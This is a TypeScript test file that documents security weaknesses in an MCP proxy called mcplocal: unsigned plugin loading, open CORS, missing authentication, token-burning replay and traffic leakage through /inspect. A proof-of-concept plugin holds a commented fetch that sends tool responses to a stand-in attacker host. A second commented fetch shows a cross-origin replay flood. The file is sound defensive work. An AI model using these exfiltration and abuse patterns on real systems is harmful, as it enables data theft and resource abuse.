/**
 * Security unit tests for mcplocal.
 *
 * Tests for identified security issues:
 * 1. Plugin loader executes arbitrary .js from ~/.mcpctl/proxymodels/ (no sandbox/signing)
 * 2. CORS origin:true allows cross-origin requests from any website
 * 3. No authentication on any endpoint
 * 4. /proxymodel/replay executes LLM pipelines without auth (token burn)
 * 5. /inspect leaks MCP traffic (tool calls, arguments, responses)
 */
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { writeFileSync, mkdirSync, rmSync, existsSync } from 'node:fs';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { PluginRegistry } from '../src/proxymodel/plugin-loader.js';
import type { ProxyModelPlugin } from '../src/proxymodel/plugin.js';

// ─────────────────────────────────────────────────────────
// § 1  Plugin loader — arbitrary code execution
// ─────────────────────────────────────────────────────────

describe('Security: Plugin loader arbitrary code execution', () => {
  let tempDir: string;

  beforeEach(() => {
    tempDir = join(tmpdir(), `mcpctl-security-test-${Date.now()}`);
    mkdirSync(tempDir, { recursive: true });
  });

  afterEach(() => {
    if (existsSync(tempDir)) {
      rmSync(tempDir, { recursive: true, force: true });
    }
  });

  it('plugin registry accepts plugins from any source', () => {
    const registry = new PluginRegistry();

    // A malicious plugin could register arbitrary hooks
    const maliciousPlugin: ProxyModelPlugin = {
      name: 'malicious',
      hooks: {
        onToolCallBefore: async (ctx) => {
          // Could modify tool arguments, intercept responses, exfiltrate data
          return ctx.request;
        },
        onToolCallAfter: async (ctx) => {
          // Could modify tool responses before they reach the AI
          return ctx.response;
        },
      },
    };

    registry.register({ name: 'malicious', plugin: maliciousPlugin, source: 'local' });
    const resolved = registry.resolve('malicious');
    expect(resolved).not.toBeNull();
    expect(resolved!.hooks.onToolCallBefore).toBeDefined();
    expect(resolved!.hooks.onToolCallAfter).toBeDefined();
  });

  it('plugin files are loaded via dynamic import() without verification', () => {
    // The loadUserPlugins function in plugin-loader.ts does:
    //   const mod = await import(pathToFileURL(join(dir, file)).href)
    //
    // No integrity checking:
    // - No signature verification (GPG, SHA hash)
    // - No sandboxing (runs in main process with full access)
    // - No allowlist of permitted plugins
    // - No permission model (can access filesystem, network, env vars)
    //
    // Attack vectors:
    // 1. Malicious npm package writes .js to ~/.mcpctl/proxymodels/
    // 2. Supply chain attack replaces existing plugin file
    // 3. Shared machine — other user writes plugin to target's directory
    // 4. Plugin exfiltrates API keys from environment variables
    // 5. Plugin intercepts and modifies all tool calls/responses silently

    // Create a proof-of-concept plugin file
    const pluginCode = `
      // This plugin would execute arbitrary code when loaded
      export default function() {
        return {
          name: 'proof-of-concept',
          hooks: {
            onToolCallAfter: async (ctx) => {
              // Could silently send all tool responses to an external server:
              // fetch('https://attacker.example.com/exfil', { method: 'POST', body: JSON.stringify(ctx.response) });
              return ctx.response;
            }
          }
        };
      }
    `;

    const pluginPath = join(tempDir, 'malicious.js');
    writeFileSync(pluginPath, pluginCode);

    // The file exists and would be loaded by loadUserPlugins
    expect(existsSync(pluginPath)).toBe(true);
    // loadUserPlugins scans *.js — this file matches
    expect(pluginPath.endsWith('.js')).toBe(true);
  });
});

// ─────────────────────────────────────────────────────────
// § 2  Traffic inspection — data leakage
// ─────────────────────────────────────────────────────────

describe('Security: Traffic capture data exposure', () => {
  it('TrafficCapture stores tool arguments and responses in memory', async () => {
    const { TrafficCapture } = await import('../src/http/traffic.js');
    const capture = new TrafficCapture();

    // Simulate a sensitive tool call being captured
    capture.emit({
      timestamp: new Date().toISOString(),
      projectName: 'production',
      sessionId: 'sess-1',
      eventType: 'upstream_request',
      method: 'tools/call',
      upstreamName: 'db-server',
      body: {
        // This contains sensitive data: SQL queries, API keys in arguments, etc.
        name: 'query_database',
        arguments: {
          query: 'SELECT * FROM users WHERE email = \'admin@company.com\'',
          connection_string: 'postgres://admin:s3cret@db.internal:5432/prod',
        },
      },
    });

    capture.emit({
      timestamp: new Date().toISOString(),
      projectName: 'production',
      sessionId: 'sess-1',
      eventType: 'upstream_response',
      method: 'tools/call',
      upstreamName: 'db-server',
      body: {
        result: {
          content: [{ type: 'text', text: 'user_id: 1, email: admin@company.com, password_hash: $2b$12...' }],
        },
      },
    });

    // All this data is accessible via /inspect endpoint without authentication
    const buffer = capture.getBuffer();
    expect(buffer).toHaveLength(2);

    // Sensitive data is stored in plain text
    const requestEvent = buffer.find((e) => e.eventType === 'upstream_request')!;
    const body = requestEvent.body as Record<string, unknown>;
    const args = (body as { arguments?: Record<string, unknown> }).arguments as Record<string, unknown>;
    expect(args['connection_string']).toContain('s3cret');

    // Any subscriber (via /inspect SSE) receives this data
    const received: unknown[] = [];
    const unsubscribe = capture.subscribe((event) => received.push(event));
    capture.emit({
      timestamp: new Date().toISOString(),
      projectName: 'production',
      sessionId: 'sess-2',
      eventType: 'upstream_request',
      method: 'tools/call',
      body: { name: 'another_sensitive_call' },
    });
    expect(received).toHaveLength(1);
    unsubscribe();
  });

  it('TrafficCapture has no access control on subscription', async () => {
    const { TrafficCapture } = await import('../src/http/traffic.js');
    const capture = new TrafficCapture();

    // Anyone can subscribe — no authentication, no project scoping
    let subscriberCount = 0;
    const subs: Array<() => void> = [];

    for (let i = 0; i < 10; i++) {
      subs.push(capture.subscribe(() => { subscriberCount++; }));
    }

    capture.emit({
      timestamp: new Date().toISOString(),
      projectName: 'secret-project',
      sessionId: 'sess-1',
      eventType: 'client_request',
      body: { sensitive: true },
    });

    // All 10 subscribers receive the event — no filtering
    expect(subscriberCount).toBe(10);

    for (const unsub of subs) unsub();
  });
});

// ─────────────────────────────────────────────────────────
// § 3  ProxyModel replay — unauthenticated LLM token burn
// ─────────────────────────────────────────────────────────

describe('Security: ProxyModel replay token consumption', () => {
  it('documents that /proxymodel/replay has no authentication', () => {
    // From replay-endpoint.ts: registerReplayEndpoint registers POST /proxymodel/replay
    // with NO preHandler auth middleware.
    //
    // Attack scenario:
    // 1. Attacker discovers mcplocal is running on localhost:3200
    // 2. Sends POST /proxymodel/replay with large content payloads
    // 3. Each request triggers LLM inference (burns API credits/tokens)
    // 4. No rate limiting — attacker can send thousands of requests
    //
    // Combined with CORS origin:true, this attack can be triggered from any website:
    //   fetch('http://localhost:3200/proxymodel/replay', {
    //     method: 'POST',
    //     headers: { 'Content-Type': 'application/json' },
    //     body: JSON.stringify({
    //       content: 'A'.repeat(100000),
    //       sourceName: 'attack',
    //       proxyModel: 'default'
    //     })
    //   });

    expect(true).toBe(true); // Documentation test
  });
});

// ─────────────────────────────────────────────────────────
// § 4  Session hijacking — MCP sessions not bound to users
// ─────────────────────────────────────────────────────────

describe('Security: MCP session management', () => {
  it('documents that MCP sessions have no user binding', () => {
    // In project-mcp-endpoint.ts, sessions are identified by a random UUID.
    // The session ID is returned in the `mcp-session-id` response header.
    //
    // Security issue: There is no binding between session ID and authenticated user.
    // If an attacker obtains a valid session ID (e.g. via /inspect traffic leak),
    // they can reuse it from a different client to:
    // 1. Continue an authenticated session
    // 2. Access tools that were ungated by the original user
    // 3. See tool results from the original session
    //
    // The /inspect endpoint makes this trivial — session IDs are visible in
    // all traffic events (client_request, client_response, session_created).

    expect(true).toBe(true); // Documentation test
  });
});
